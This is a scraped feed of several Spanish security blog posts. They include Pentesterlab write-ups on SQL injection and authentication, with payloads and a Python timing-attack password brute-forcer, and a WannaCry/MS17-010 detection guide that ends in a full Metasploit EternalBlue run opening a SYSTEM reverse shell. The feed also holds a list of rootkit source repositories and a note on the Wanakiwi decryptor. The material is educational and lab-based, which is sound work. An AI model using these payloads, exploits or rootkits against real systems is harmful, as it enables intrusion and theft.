Quantcast
Channel: hackplayers
Viewing all 1656 articles
Browse latest View live

[Pentesterlab write-up] Web For Pentester II - SQLi

$
0
0
No creáis que ceso en mi empeño de seguir haciendo labs, concretamente de Pentesterlab he hecho ya casi todos (los gratuitos), sólo que no quiero inundar el blog con mil y un solucionarios. Es más, os animo a hacerlos vosotros mismos y practicar, pero sobretodo a disfrutar el camino como meta.

No obstante, si que iré publicando algunos de los que más interesantes me parezcan. En este caso Web for Pentester II, al igual que la primera serie que vimos, más que un laboratorio es una serie de ejercicios para aprender a explotar las vulnerabilidades web más comunes, así que creo que es bastante interesante porque resulta tremendamente didáctico. También contribuiremos a ello añadiendo a cada ejemplo el código del lado del servidor, lo cual "clarea la caja" pero ayuda a adquirir un mayor nivel de compresión.

Además en esta ocasión dejamos un lado PHP para trabajar con Ruby así que ¡manos a la obra!


Ejercicio 1:

El primer ejemplo es el más sencillo y tendremos que evadir la autenticación sin pasar ningún usuario o contraseña. Si inyectamos una comilla simple en seguida obtendremos el mensaje de error de la base de datos:


Con el mensaje de error ya tendremos la consulta, como podremos comprobar en el código del lado del servidor:

SERVIDOR:
...
 get '/' do
    res = []
    if params['username'] && params['password']
      begin
        sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
        sql+= " AND password='"+params['password']+"'"

        ActiveRecord::Base.establish_connection self.class.db
        res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s
      end
    end
    if res.size > 0
      erb :index
    else
      erb :login
    end
  end
  ...

Por lo tanto, obtener el payload es'SELECT * FROM users WHERE username='' or 1=1#  es bastante trivial (tenemos que setear que siempre sea true).

PAYLOAD:
' or 1=1#

Ejercicio 2:

Este ejemplo es  la misma vulnerabilidad que la anterior pero el desarrollador se ha asegurado que solo se devuelva un usuario limitando la salida de la base de datos a la página.

SERVIDOR:
...
get '/' do
    res = []
    if params['username'] && params['password']
      begin
        sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
        sql+= " AND password='"+params['password']+"'"
        ActiveRecord::Base.establish_connection self.class.db
        res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s
      end
    end
    if res.size == 1
      erb :index
    else
      erb :login
    end
  end
...

Para explotarla necesitaremos hacer uso de limit en SQL que limita la cantidad de registros recibidos por la query.

PAYLOAD:
 ‘ or 1=1 LIMIT 1#
   
Ejercicio 3:

En el siguiente ejercicio se escapa la comilla simple ('):

SERVIDOR:
...
  get '/' do
    res = []
    if params['username'] && params['password']
      begin
        params['username'].gsub!("'","")
        params['password'].gsub!("'","")

        sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
        sql+= " AND password='"+params['password']+"'"
        ActiveRecord::Base.establish_connection self.class.db
       res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s
      end
    end
    if res.size > 0
      erb :index
    else
      erb :login
    end
  end
...

En este caso podemos usar la barra diagonal (\) para escapar la la comilla simple y comtinuar con la sentencia SQL, al que añadiremos la inyección ’ or 1=1# en el campo de la contraseña.

 select * from users where username =’\ ‘ and password =’ or 1=1#

Ahora solo tenemos que inyectar el código:

PAYLOAD:
\
’ or 1=1#

Ejercicio 4:

En este ejemplo la información se pasa por la URL, donde podemos ver fácilmente la consulta.

http://vulnerable/sqlinjection/example4/?req=username%3d%27hacker%27

Decodeando la URL sería:

http://vulnerable/sqlinjection/example4/?req=username='hacker'

SERVIDOR:
...
  get '/' do
    @res = []
    if params['req']
      begin
        ActiveRecord::Base.establish_connection "sqlinjection_example4"
        sql ="SELECT * FROM users WHERE #{params['req']};"
        @res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s
      end
    end
    erb :index
    end
...


Para explotar esta página tenemos que poner el mismo payload  que antes ('o 1 = 1 #) en la URL.

PAYLOAD:
'' or 1=1#'

http://vulnerable/sqlinjection/example4/?req=username%3d%27%27%20or%201=1#%27


Ejercicio 5:

En este ejemplo la sentencia consulta toda la tabla users pero la salida es limitada por LIMIT:

SERVIDOR:
...
 get '/' do
    ActiveRecord::Base.establish_connection SQLInjectionExample5.db
    if params[:limit]
      begin
        sql = "SELECT * FROM users LIMIT #{params[:limit]};"
        @res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s
      end
    else
      sql = "SELECT * FROM users"
      @res = ActiveRecord::Base.connection.execute(sql).to_a
    end
    erb :index
  end
...

Para mostrar todos los usuarios necesitamos usar una inyección de SQL basada en union:

PAYLOAD:
union all select * from users

http://vulnerable/sqlinjection/example5/?limit=3%20union%20all%20select%20*%20from%20users


Evidentemente también podríamos quitar o modificar el LIMIT a 4.

Ejercicio 6:

El ejercicio 6 es similar al anterior pero utiliza GROUP BY:

http://vulnerable/sqlinjection/example6/?group=username

SERVIDOR:
...
 get '/' do
    ActiveRecord::Base.establish_connection SQLInjectionExample6.db
    if params[:group]
      begin
        sql = "SELECT * FROM users GROUP BY #{params[:group]};"
        @res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s
      end
    else
      sql = "SELECT * FROM users"
      @res = ActiveRecord::Base.connection.execute(sql).to_a
    end
    erb :index
  end
...

En este caso podemos volver a usar UNION o quitar directamente el GROUP BY de la URL.

PAYLOAD:
http://vulnerable/sqlinjection/example6/?union all select * from users

http://vulnerable/sqlinjection/example6/?

Ejercicio 7:

En este ejemplo, se realizan dos consultas, la primera consulta recupera los detalles del usuario basados en el parámetro ID. El segundo usa el nombre de usuario del registro obtenido previamente para recuperar el usuario.

SERVIDOR:
...

  get '/' do
    ActiveRecord::Base.establish_connection SQLInjectionExample6.db
    if params[:id]
      begin
        sql = "SELECT * FROM users WHERE id=#{params[:id]}"
        @r = ActiveRecord::Base.connection.execute(sql).to_a
        if @r.size == 1
          name = @r.first[1]
          sql = "SELECT * FROM users WHERE username='#{name}'"
          @res = ActiveRecord::Base.connection.execute(sql).to_a
        else
          raise Exception, "Should only return one user..."
        end
      rescue Exception => e
        @message = e.to_s
      end
    else
      sql = "SELECT * FROM users"
      @res = ActiveRecord::Base.connection.execute(sql).to_a
    end
    erb :index
  end
...

Para explotar esta vulnerabilidad necesitaremos usar inyecciones SQL ciegas. Sin embargo, dado que se muestran los mensajes de error , podemos usar también inyecciones basadas en error.
Al inyectar una declaración propensa a errores, podemos obtener Información directamente en los mensajes de error en lugar de utilizar un SQLi ciega

PAYLOAD:
sqlmap -u http://vulnerable/sqlinjection/example7/?id=1

[01:42:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[01:42:31] [INFO] fetched data logged to text files under '/home/vmotos/.sqlmap/output/vulnerable'

sqlmap -u http://vulnerable/sqlinjection/example7/?id=1 --tables -D sqlinjection_example7

Database: sqlinjection_example7
[1 table]
+-------+
| users |
+-------+

sqlmap -u http://vulnerable/sqlinjection/example7/?id=1 -D sqlinjection_example7 -T users --dump

Database: sqlinjection_example7
Table: users
[13 entries]
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
| 1  | user1    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 2  | user1    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 3  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 4  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 5  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 6  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 7  | user3    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 8  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 9  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 10 | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 11 | user4    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 12 | user4    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 13 | user4    | 19418cb4fdfbe026c47b21f90ffddf9a |
+----+----------+----------------------------------+

[01:46:32] [INFO] table 'sqlinjection_example7.users' dumped to CSV file '/home/vmotos/.sqlmap/output/vulnerable/dump/sqlinjection_example7/users.csv'
[01:46:32] [INFO] fetched data logged to text files under '/home/vmotos/.sqlmap/output/vulnerable'

Por supuesto, si quitamos el id también nos mostrará todos los usuarios de la tabla.

Ejercicio 8:

Esta es una inyección SQL de segundo orden, esto significa que la página está  filtrando la entrada del usuario, pero no los datos en el bd, con el fin de evadir ésto tendremos que hacerlo en 2 pasos

SERVIDOR:
...
 get '/' do
    @users = User.all
    erb :index
  end
 
  get "/users/:id" do
    ActiveRecord::Base.establish_connection SQLInjectionExample8.db
    @user = User.find(params[:id])
    if @user   
      begin
        sql = "SELECT * FROM users WHERE username='#{@user.username}'"
        @res = ActiveRecord::Base.connection.execute(sql).to_a[0]
        erb :user
      rescue Exception => e
        @message = e.to_s
      end
    end 
  end

  post '/user' do
    User.create(:username => params[:user], :password => Digest::MD5.hexdigest(SEED+params["password"]+SEED))
    redirect SQLInjectionExample8.path
  end
end
...

- En primer lugar, tendremos que crear un usuario con el código que deseamos inyectar en la petición (payload)
- Acceder con el usuario para activar el payload

PAYLOAD:
password: 1 or 1=1--

Ejercicio 9:

Este último ejemplo muestra una página que utiliza mysql-real-escape-string,  una función PHP que elimina cualquier carácter de escape de un campo dado, bloqueando las inyecciones de los atacantes en los campos del formulario y URL.

SERVIDOR:
...
 get '/' do
    ActiveRecord::Base.establish_connection SQLInjectionExample9.db
    res = []
    if params['username'] && params['password']
      begin
        sql= "SET CHARACTER SET 'GBK';"
        ActiveRecord::Base.connection.execute(sql)
        name = ActiveRecord::Base.connection.quote_string(params[:username])
        password = Digest::MD5.hexdigest(SEED+ActiveRecord::Base.connection.quote_string(params[:password]+SEED))
        sql = "SELECT * FROM users WHERE username='#{name}'"
        sql+= " AND password='"+password+"'"

        res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s
      end
    end
    pp res
    if res.size > 0
      erb :index
    else
      erb :login
    end
  end
 
end
...

Sin embargo, esta función falla si la base de datos y la configuración de la conexión no están usando el mismo juego de caracteres. En este caso, si la conexión le permite insertar un conjunto de caracteres desde el GBK (GBK es un  conjunto de caracteres para el chino simplificado), la función no  escapará  los caracteres insertados porque son válidos y la base de datos recibirá el payload.

PAYLOAD:
呵'or 1=1 #




Y hasta aquí los ejercicios de SQLi, nos "vemos" en los siguientes.

Cómo detectar máquinas vulnerables a #WannaCry (nmap nse script MS17-010)

$
0
0
Después del torbellino mediático de los últimos días, mucha gente que no trabaja en informática o no tiene demasiada idea pregunta: "pisha, y cómo hago para saber si puedo pillar el ramonware ransomware ese" y normalmente la respuesta rápida es "actualiza Windows inmediatamente, si es que todavía no lo has hecho". La razón es obvia, el vector de red que utiliza el ransomware WannaCry es la explotación de la vulnerabilidad en SMB (boletín MS17-010) corregida el 14 de marzo, al igual que hace el famoso ETERNALBLUE liberado por ShadowBrokers.

También podríamos detener la propagación del malware deshabilitando SMBv1 o encomendándonos a San Custodio y que se haya activado un "kill switch" que reconozca la variante que nos estaba acechando pero... ¿para qué arriesgarnos?... actualiza, actualiza, ACTUALIZA!

Ahora bien, si estas en una red y no eres responsable directo de actualizar los equipos M$ de la LAN, quizás te hayan pedido o te resulte interesante }:-) saber cuáles son las máquinas que tienen el puerto 445/TCP accesible y son vulnerables. Para ello podríamos usar el escáner de Metasploit (auxiliary/scanner/smb/smb_ms17_010), aunque resulta algo más lento que el script de nmap que vamos a utilizar en principio, que es el que el pasado domingo publicó el mexicano Paulino Calderon (responsable del chapter @OWASP_riviera).

Lo que hace el script es conectarse a $IPC, ejecutar una transacción sobre FID 0 y comprobar si es devuelto el error “STATUS_INSUFF_SERVER_RESOURCES” para determinar si ha sido parcheado o no contra CVE2017-010.

https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse

Simplemente tenemos que descargar el script nse en el directorio correspondiente, por defecto:

# Linux – /usr/share/nmap/scripts/ or /usr/local/share/nmap/scripts/
# OSX – /opt/local/share/nmap/scripts/
# Windows – c:\Program Files\Nmap\Scripts

Y ejecutar:
nmap -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse X.X.X.X/X

Ejemplo NO VULNERABLE:
nmap -Pn -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.1.22

Starting Nmap 7.12 ( https://nmap.org ) at 2017-05-16 1:56 CEST
Nmap scan report for 192.168.1.66
Host is up (0.00049s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 50:7B:9D:D5:05:CA (Lcfc(hefei) Electronics Technology)

Host script results:
|_smb-vuln-ms17-010: Could not connect to 'IPC$'

Ejemplo VULNERABLE:
# nmap -Pn -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.1.23

Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-16 2:02 EDT
Nmap scan report for 192.168.1.23
Host is up (0.00069s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|      
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

Y ya sabéis, si la máquina es vulnerable conseguir una shell a estas alturas es trivial:

Rescaneamos con el módulo de metasploit por si acaso.
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      445              yes       The SMB service port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads

msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.23
RHOSTS => 192.168.1.23
msf auxiliary(smb_ms17_010) > run

[+] 192.168.1.23:445     - Host is likely VULNERABLE to MS17-010!  (Windows 7 Professional 7601 Service Pack 1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Usamos el exploit https://github.com/RiskSense-Ops/MS17-010/blob/master/exploits/eternalblue/ms17_010_eternalblue.rb:
msf > use windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.
   GroomDelta          5                yes       The amount to increase the groom count by per try.
   MaxExploitAttempts  3                yes       The number of times to retry the exploit.
   ProcessName         spoolsv.exe      yes       Process to inject payload into.
   RHOST                                yes       The target address
   RPORT               445              yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 (x64) All Service Packs


msf exploit(ms17_010_eternalblue) > set RHOST 192.168.1.23
RHOST => 192.168.1.23
msf exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.114:4444
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[-] 192.168.1.23:445 - Rex::ConnectionTimeout: The connection timed out (192.168.1.23:445).
[*] Exploit completed, but no session was created.
msf exploit(ms17_010_eternalblue) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 (x64) All Service Packs


msf exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.114:4444
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[-] 192.168.1.23:445 - Rex::ConnectionTimeout: The connection timed out (192.168.1.23:445).
[*] Exploit completed, but no session was created.
msf exploit(ms17_010_eternalblue) > set ProcessName lsass.exe
ProcessName => lsass.exe
msf exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.114:4444
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[-] 192.168.1.23:445 - Rex::ConnectionTimeout: The connection timed out (192.168.1.23:445).
[*] Exploit completed, but no session was created.
msf exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.114:4444
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[+] 192.168.1.23:445 - Connection established for exploitation.
[*] 192.168.1.23:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.23:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.23:445 - Starting non-paged pool grooming
[+] 192.168.1.23:445 - Sending SMBv2 buffers
[+] 192.168.1.23:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.23:445 - Sending final SMBv2 buffers.
[*] 192.168.1.23:445 - Sending last fragment of exploit packet!
[*] 192.168.1.23:445 - Receiving response from exploit packet
[+] 192.168.1.23:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.23:445 - Sending egg to corrupted connection.
[*] 192.168.1.23:445 - Triggering free of corrupted buffer.
[-] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.1.23:445 - Connecting to target for exploitation.
[+] 192.168.1.23:445 - Connection established for exploitation.
[*] 192.168.1.23:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.1.23:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.23:445 - Starting non-paged pool grooming
[+] 192.168.1.23:445 - Sending SMBv2 buffers
[+] 192.168.1.23:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.23:445 - Sending final SMBv2 buffers.
[*] 192.168.1.23:445 - Sending last fragment of exploit packet!
[*] 192.168.1.23:445 - Receiving response from exploit packet
[+] 192.168.1.23:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.23:445 - Sending egg to corrupted connection.
[*] 192.168.1.23:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (192.168.1.114:4444 -> 192.168.1.23:1096) at 2017-05-16 11:12:20 -0400
[+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\windows\system32>whoami
whoami
nt authority\system

C:\windows\system32>hostname
hostname
WINDOWS-PC1

Recopilatorio de rootkits

$
0
0
Dentro de la "gran familia" del malware, sin duda un rootkit es una de las piezas más poderosas y peligrosas debido a su propia naturaleza, pues oculta la presencia de (normalmente) malware en el sistema.

Un rootkit reside en el sistema operativo y esconde su presencia interceptando y modificando las funciones del API de nivel bajo, es decir, corrompe los programas y funciones capaces de detectarlo.

Adicionalmente también puede ocultar ciertos procesos, directorios, archivos y claves de registro y muchos rootkits instalan sus propios drivers y servicios también “invisibles” al sistema.

La eliminación del rootkit puede ser complicada o prácticamente imposible, especialmente en los casos en los que el rootkit reside en el kernel del sistema operativo siendo a veces la reinstalación la única opción.

Peligroso, ¿verdad? Pues gracias al enigmático d30sa1 y su repositorio de github tenemos un interesante recopilatorio de rookits para poder cacharrear:

https://github.com/mempodippy/vlany
http://www.ussrback.com/UNIX/penetration/rootkits/
https://github.com/Alifcccccc/Windows-Rootkits
https://packetstormsecurity.com/files/125240/Azazel-Userland-Rootkit.html
https://github.com/islamTaha12/Python-Rootkit
https://github.com/Eterna1/puszek-rootkit
https://github.com/juxing/AdoreForAndroid
https://github.com/HackerFantastic/Public/tree/master/rootkits
https://github.com/m0nad/Diamorphine
https://github.com/maK-/maK_it-Linux-Rootkit
https://github.com/RagingGrim/Rootkit/tree/master/Rootkit
https://github.com/NexusBots/Umbreon-Rootkit
https://github.com/josephjkong/designing-bsd-rootkits
https://github.com/citypw/suterusu/
https://citypw.blogspot.gr/2014/08/an-awesome-linux-kernel-rootkit-suterusu.html
https://github.com/Cr4sh/WindowsRegistryRootkit
https://packetstormsecurity.com/files/139665/Vlany-Linux-LD_PRELOAD-Rootkit.html
https://github.com/JReFrameworker/JReFrameworker
https://packetstormsecurity.com/files/128945/Xingyiquan-Linux-2.6.x-3.x-Rootkit.html
https://packetstormsecurity.com/files/118317/Linux-2.6-Kernel-proc-Rootkit-Backdoor.html
https://packetstormsecurity.com/files/108286/KBeast-Kernel-Beast-Linux-Rootkit-2012.html
https://packetstormsecurity.com/files/110942/Jynx-Kit-Release-2.html
https://packetstormsecurity.com/files/25071/_root_040.zip.html
https://github.com/bones-codes/the_colonel
https://github.com/x0r1/jellyfish
https://github.com/ecume/simple-rootkit
https://github.com/Nervous/GreenKit-Rootkit
https://github.com/cloudsec/brootkit
https://github.com/unix-thrust/beurk
https://github.com/NextSecurity/Gozi-MBR-rootkit
https://github.com/rbertin/basic-rootkit
https://github.com/miagilepner/porny
https://turbochaos.blogspot.gr/2013/09/linux-rootkits-101-1-of-3.html
https://github.com/r00tkillah/HORSEPILL
https://github.com/matteomattia/moo_rootkit
https://github.com/ivyl/rootkit
https://github.com/enzolovesbacon/inficere
https://github.com/hiteshd/Android-Rootkit
https://github.com/QuokkaLight/rkduck
https://github.com/0xroot/whitesnow
https://github.com/falk3n/subversive
https://github.com/nnewson/km/tree/master/src
https://github.com/Cr4sh/DrvHide-PoC
https://github.com/Christian-Roggia/open-myrtus/tree/master/rootkit
https://github.com/PoppySeedPlehzr/rookit_playground/tree/master/rootkits
https://github.com/a7vinx/liinux
https://github.com/osiris123/CDriver_Loader
https://github.com/varshapaidi/Kernel_Rootkit
https://github.com/karol-gruszczyk/win-rootkit
https://github.com/hanj4096/wukong
https://github.com/uzyszkodnik/rootkit
https://github.com/kacheo/KernelRootkit
https://github.com/rvillordo/libpreload
https://github.com/soad003/rootkit
https://github.com/NinnOgTonic/Out-of-Sight-Out-of-Mind-Rootkit
https://github.com/HeapLock/THOR
https://github.com/ring-1/zendar
https://github.com/amanone/amark
https://github.com/majdi/deadlands
https://github.com/cccssw/JynKbeast
https://github.com/joshimhoff/toykit
https://github.com/pasv/Z34107
https://github.com/maK-/Keylogger-lkm
https://github.com/Aearnus/syscall-rootkit
https://github.com/schischi/slrk
https://github.com/bhassani/Alina/tree/master/Rootkit
https://github.com/jiayy/lkm-rootkit
https://github.com/ChristianPapathanasiou/apache-rootkit
https://github.com/ChristianPapathanasiou/DEFCON-18-Android-rootkit-Mindtrick
https://github.com/elfmaster/kprobe_rootkit
https://github.com/ah450/rootkit
https://github.com/Jyang772/HideProcessHookMDL
https://github.com/Aarons100/Rootkits-Playground
https://github.com/dluengo/yarr
https://github.com/NotALaser/trk
more?

#Wanakiwi, una herramienta capaz de descifrar los archivos cifrados por WannaCry (Windows XP a 7 no reiniciados)

$
0
0
¡Atención, si has sido infectado por WannaCry NO REINICIES la máquina! El famoso autor de Mimikatz, Benjamin Delpy‏ aka @gentilkiwi, ha publicado la herramienta Wanakiwi que es capaz de descifrar los archivos sin pagar el chantaje...

Hay un fallo en la cripto-API de Windows por el que si se obtienen de la memoria los números primos usados para calcular la clave privada esta puede volver a calcularse. Por eso es tan importante no apagar el equipo infectado, para no perder los datos de la memoria.

En principio el fallo parecía que estaba sólo en Windows XP, pero al parecer afecta a Windows 7 también:

"Después de realizar pruebas adicionales con Benjamin, nos dimos cuenta de que el leak de los números primos en el Crypt API de Microsoft todavía estaba presente en Windows 7. \o/"

Esto significa por lo tanto que la herramienta funcionará desde XP a 7, incluyendo Windows 2003 (x86 confirmado), Vista y 2008 y 2008 R2. Lamentablemente en las últimas versiones los números primos son borrados correctamente (CryptReleaseContext).

Anteriormente se publicó otra herramienta similar, Wannakey, pero requería una aplicación distinta para transformar esos bits en la clave secreta necesaria para descifrar los archivos. Wanakiwi parece más efectiva y ha sido validada por la Europol. Así que si no has reiniciado el equipo (o la memoria no ha sido sobrescrita) y no tienes la última versión de Windows todavía tienes una esperanza:

- Descarga wanakiwi aquí.
- Ejecuta wanakiwi.exe y automáticamente buscará el archivo 00000000.pky. Opcionalmente puedes indicar el PID (Process ID). Si no se indica, por defecto automáticamente buscará en wnry.exe o wcry.exe.
- Cruza los dedos y suerte!

Demo:

Fuente: WannaCry — Decrypting files with WanaKiwi + Demos
Github: https://github.com/gentilkiwi/wanakiwi/releases

[Pentesterlab write-up] Web For Pentester II - Authentication

$
0
0
Hoy continuamos con los ejercicios de autenticación del laboratorio de Pentesterlab 'Web for pentester II'.

Recordar que, en el contexto de una aplicación web, la autenticación es el proceso por el que se verifica la identidad de un usuario, normalmente mediante una contraseña. Una vez validado, el servidor debe manejar la sesión del usuario para poder seguir interactuando con él. Las sesiones deben ser mantenidas con un identificador único y no predecible.

Las vulnerabilidades relacionadas con la autenticación y la gestión de sesiones son críticas porque permiten a un atacante suplantar la identidad de un usuario y, por lo tanto, tener sus privilegios de acceso.

Veamos algunos de los fallos más típicos y cómo explotarlos.


Ejercicio 1:

Las contraseñas predecibles son probablemente la forma más fácil y común de evadir autenticaciones. Para empezar basta con probar la misma contraseña que el nombre de usuario (admin) y estaremos dentro:


SERVIDOR
require 'sinatra/base'


class AuthenticationExample1 < PBase
 
  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
 
  CREDS =  "admin:admin"
 
  def self.path
    "/authentication/example1/"
  end
  helpers do
    def protected!
      unless authorized?
        response['WWW-Authenticate'] = %(Basic realm="Username is admin, now you need to guess the password")
        throw(:halt, [401, "Not authorized\n"])
      end
    end

    def authorized?
      @auth ||=  Rack::Auth::Basic::Request.new(request.env)
      return false unless @auth.provided? && @auth.basic? && @auth.credentials
      return CREDS ==  @auth.credentials.join(":")
    end
  end
  get '/' do
    protected!
    erb :index
  end
end

Ejercicio 2:

En este ejercicio el problema es que se utiliza una comparación de strings “non-time-constant”, esto significa que la página web analizará la cadena introducida carácter por carácter hasta que encuentre un error, ya que el programador no se molestó en incluir algún tipo de código para aleatorizar o estandarizar el tiempo que tarda la página en analizar los datos.

Si registramos el tiempo que tarda un determinado carácter en analizarse  podemos ver si es correcto o incorrecto (la "derecha" tardará más tiempo en devolver un error, ya que va a pasar al siguiente carácter antes de encontrar un error).

Para explotar ésto, se puede crear un script que muestre el tiempo que tomó desde que se hace submit al formulario hasta que el mensaje de error aparece, o simplemente ver la hora manualmente (Firefox F12 o wireshark)

Para no estar haciéndolo manualmente creamos un sencillo script en Python. Primero comprobamos que es capaz de detectar el primer carácter de la contraseña al registrar un incremento en la respuesta:
import requests
import time
from time import sleep

for letra in range(ord('a'), ord('z')+1):
   start = time.time()
   r = requests.get('http://vulnerable/authentication/example2/', auth=('hacker', chr(letra)))
   print(chr(letra), "=", time.time() - start, r.status_code)
   sleep(1)

# python3 auth.py 
a = 1.411837100982666 401
b = 1.4192745685577393 401
c = 1.413834810256958 401
d = 1.420161247253418 401
e = 1.4159717559814453 401
f = 1.4079325199127197 401
g = 1.4163684844970703 401
h = 1.4196953773498535 401
i = 1.4183309078216553 401
j = 1.4113667011260986 401
k = 1.4153947830200195 401
l = 1.414841890335083 401
m = 1.411491870880127 401
n = 1.419482946395874 401
o = 1.4144706726074219 401
p = 1.6177349090576172 401
q = 1.4178481101989746 401
r = 1.4187202453613281 401
s = 1.4214084148406982 401
t = 1.4175682067871094 401
u = 1.417421579360962 401
v = 1.4108152389526367 401
w = 1.4106621742248535 401
x = 1.4189674854278564 401
y = 1.410445213317871 401
z = 1.4195282459259033 401

Y luego creamos un loop para automatizar todo el proceso:
import requests
import time
from time import sleep

lasttime=0
password=''
r = requests.get('http://vulnerable/authentication/example2/', auth=('hacker', 'test'))

while r.status_code==401:
# for letra in range(ord('a'), ord('z')+1):
 for letra in range(127):
   start = time.time()
   r = requests.get('http://vulnerable/authentication/example2/', auth=('hacker', str(password+chr(letra))))
   reqtime = time.time() - start
   print(password+chr(letra), "=", reqtime, r.status_code)
   diftime = reqtime - lasttime
   print(diftime)
   lasttime=reqtime
   if 0.1 <= diftime <= 0.6:
       print("letra encontrada")
       password+=chr(letra)
       letra='a'
       break
   if r.status_code == 200:
        print("hecho")
        exit()

Al ejecutar el script veremos que irá encontrando letra a letra hasta que al introducir la password completa nos devuelva un 200 en la respuesta:

...
0.006502866744995117
p4ssw0rT = 2.812769889831543 401
-0.006078004837036133
p4ssw0rU = 2.809231758117676 401
-0.0035381317138671875
p4ssw0rV = 2.8098013401031494 401
0.0005695819854736328
p4ssw0rW = 2.8130240440368652 401
0.0032227039337158203
p4ssw0rX = 2.8202731609344482 401
0.007249116897583008
p4ssw0rY = 2.817929744720459 401
-0.002343416213989258
p4ssw0rZ = 2.8093137741088867 401
